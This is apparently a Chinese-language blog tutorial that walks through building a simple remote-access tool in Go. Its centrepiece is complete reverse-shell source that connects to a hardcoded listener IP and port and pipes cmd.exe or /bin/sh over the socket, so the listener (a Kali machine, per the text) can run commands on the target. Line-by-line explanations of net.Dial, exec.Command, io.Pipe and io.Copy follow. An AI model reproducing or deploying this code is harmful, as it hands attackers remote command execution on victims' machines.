连接nc的远控
不免殺版本
原理:
創建tcp連接,讀取并執行cmd命令,并且將執行的結果通過目標的IP和端口號返回給我們的遠控機(例如kali)。
package mainimport ("io""log""net""os/exec" )func main() {conn, err := net.Dial("tcp", "192.168.0.138:1929")if err != nil {log.Fatalln(err)}for {cmd := exec.Command("cmd.exe")// cmd := exec.Command("/bin/sh", "-i")rp, wp := io.Pipe()cmd.Stdin = conncmd.Stdout = wpgo io.Copy(conn, rp)cmd.Run()} }雖然原理很簡單,但是沒有學習過go語言的小伙伴可能看不太懂這一段代碼,下面由我來做一下詳細解釋。
(1)
首先是net.Dial,它是來源于net包中的函數,我們來看一下它的函數原型。
func Dial(network, address string) (Conn, error) {var d Dialerreturn d.Dial(network, address) }參數說明如下:
- network 參數表示傳入的網絡協議(比如 tcp、udp 等);
- address 參數表示傳入的 IP 地址或域名,而端口號是可選的,如果需要指定的話,以:的形式跟在地址或域名的后面即可。如果連接成功,該函數返回連接對象,否則返回 error。
實際上,Dial() 函數是對 DialTCP()、DialUDP()、DialIP()、DialUnix() 函數的封裝:
func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err error)
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err error)
func DialIP(netProto string, laddr, raddr *IPAddr) (c *IPConn, err error)
func DialUnix(net string, laddr, raddr *UnixAddr) (c *UnixConn, err error)
我們來看一下幾種常見協議的調用方式。
1) TCP 連接
conn, err := net.Dial("tcp", "192.168.10.10:80")
2) UDP 連接:
conn, err := net.Dial("udp", "192.168.10.10:8888")
3) ICMP 連接(使用協議名稱):
conn, err := net.Dial("ip4:icmp", "c.biancheng.net")
提示:ip4 表示 IPv4,相應的 ip6 表示 IPv6。
4) ICMP 連接(使用協議編號):
conn, err := net.Dial("ip4:1", "10.0.0.3")
Dial() 函數支持如下幾種網絡協議:tcp、tcp4(僅限 IPv4)、tcp6(僅限 IPv6)、udp、udp4(僅限 IPv4)、udp6(僅限 IPv6)、ip、ip4(僅限 IPv4)、ip6(僅限 IPv6)、unix、unixgram 和 unixpacket。
(2)
if err != nil {log.Fatalln(err)}這段代碼就是判斷我們的端口是否關閉或者已過濾,并進行日志的輸出。這一段不是非常重要,不過感興趣的小伙伴可以自己去研究一下Fatalln這個函數。
(3)
我們來分析一下exec.Command函數
func Command(name string, arg ...string) *Cmd {cmd := &Cmd{Path: name,Args: append([]string{name}, arg...),}if filepath.Base(name) == name {if lp, err := LookPath(name); err != nil {cmd.lookPathErr = err} else {cmd.Path = lp}}return cmd }‘…’ 其實是go的一種語法糖。
它的第一個用法主要是用于函數有多個不定參數的情況,可以接受多個不確定數量的參數。
第二個用法是slice可以被打散進行傳遞。
命令返回 Cmd 結構以執行具有給定參數的命名程序。
它僅在返回的結構中設置 Path 和 Args。
如果 name 不包含路徑分隔符,Command 會盡可能使用 LookPath 將 name 解析為完整路徑。否則它直接使用名稱作為路徑。
返回的 Cmd 的 Args 字段由命令名稱后跟 arg 的元素構成,因此 arg 不應包含命令名稱本身。例如,命令("echo"、"hello")。 Args[0] 始終是名稱,而不是可能解析的路徑。
在 Windows 上,進程將整個命令行作為單個字符串接收并進行自己的解析。 Command 使用與使用CommandLineToArgvW 的應用程序兼容的算法(這是最常見的方式)將 Args 組合表示到命令行字符串中。值得注意的例外是 msiexec.exe 和 cmd.exe(以及所有批處理文件),它們具有不同的取消引用算法。在這些或其他類似情況下,您可以自己進行引用并在SysProcAttr CmdLine 中提供完整的命令行,將 Args 留空。
(4)
我們來分析一下io.Pipe函數
func Pipe() (*PipeReader, *PipeWriter) {p := &pipe{wrCh: make(chan []byte),rdCh: make(chan int),done: make(chan struct{}),}return &PipeReader{p}, &PipeWriter{p} } type pipe struct {wrMu sync.Mutex // Serializes Write operationswrCh chan []byterdCh chan intonce sync.Once // Protects closing donedone chan struct{}rerr onceErrorwerr onceError }io.Pipe會返回一個reader和writer,對reader讀取(或寫入writer)后,進程會被鎖住,直到writer有新數據流進入或關閉(或reader把數據讀走)。
此外,函數返回的 PipeReader 和 PipeWriter 均有 Close 和 CloseWithError 方法,用于停止讀寫(done)。
- wrCh 寫入的數據
- rdCh 讀了多少了
- once 只close一次done
- done 結束標志
- rerr 讀錯
- werr 寫錯
(5)
分析一下io.Copy的源碼
?
通過上述兩段代碼,它是將源復制到目標,并且是按默認的緩沖區32k循環操作的,不會將內容一次性全寫入內存中,這樣就能解決大文件的問題。
Go語言Dial()函數:建立網絡連接Go語言中 Dial() 函數的原型如下: func Dial(net, addr string) (Conn, error) 其中 net 參數是網絡協議的名字,addr 參數是 IP 地址或域名,而端口號以:的形式跟隨在地址或域名的后面,端口號可選。http://c.biancheng.net/view/4514.htmlGolang log.Fatalln函數代碼示例 - 純凈天空https://vimsky.com/examples/detail/golang-ex-log---Fatalln-function.html
總結
- 上一篇: 音视频参数解析
- 下一篇: DetectoRS: Detecting